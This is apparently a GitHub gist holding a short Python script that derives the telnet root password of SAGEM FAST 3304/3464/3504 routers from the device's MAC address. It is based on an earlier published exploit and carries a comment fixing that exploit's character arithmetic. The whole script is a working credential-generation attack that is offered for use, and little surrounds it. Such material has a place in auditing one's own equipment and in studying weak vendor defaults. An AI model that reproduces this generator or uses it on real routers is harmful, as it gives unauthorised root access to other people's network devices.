Skip to content

Instantly share code, notes, and snippets.

@dev-zzo
Created January 8, 2015 12:16
Show Gist options
  • Save dev-zzo/d770cc87521d8cb84f6a to your computer and use it in GitHub Desktop.
Save dev-zzo/d770cc87521d8cb84f6a to your computer and use it in GitHub Desktop.
SAGEM ROUTER FAST 3304/3464/3504 - telnet root password generator
"""
SAGEM ROUTER FAST 3304/3464/3504 - telnet root password generator.
Work based on: http://1337day.com/exploit/16687
"""
import sys
def mash(a,b):
if a > b:
b, a = a, b
aa = int(a, 16)
bb = int(b, 16)
if bb < 10:
if aa + bb <= 9:
return chr(ord(a) + bb)
else:
# FIXED: original code:
# hex(ord(first)+int(second,16))
# doesn't seem to produce correct characters
return hex(aa + bb)[2:]
else:
return chr(ord(b) + aa)
mac = sys.argv[1]
mac = mac.translate(None, ':- ').lower()
print 'MAC: ' + mac
password = []
password.append(mash(mac[5], mac[11]))
password.append(mash(mac[0], mac[2]))
password.append(mash(mac[10],mac[11]))
password.append(mash(mac[0], mac[9]))
password.append(mash(mac[10],mac[6]))
password.append(mash(mac[3], mac[9]))
password.append(mash(mac[1], mac[6]))
password.append(mash(mac[3], mac[4]))
password = "".join(password)
print 'Password: ' + password
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment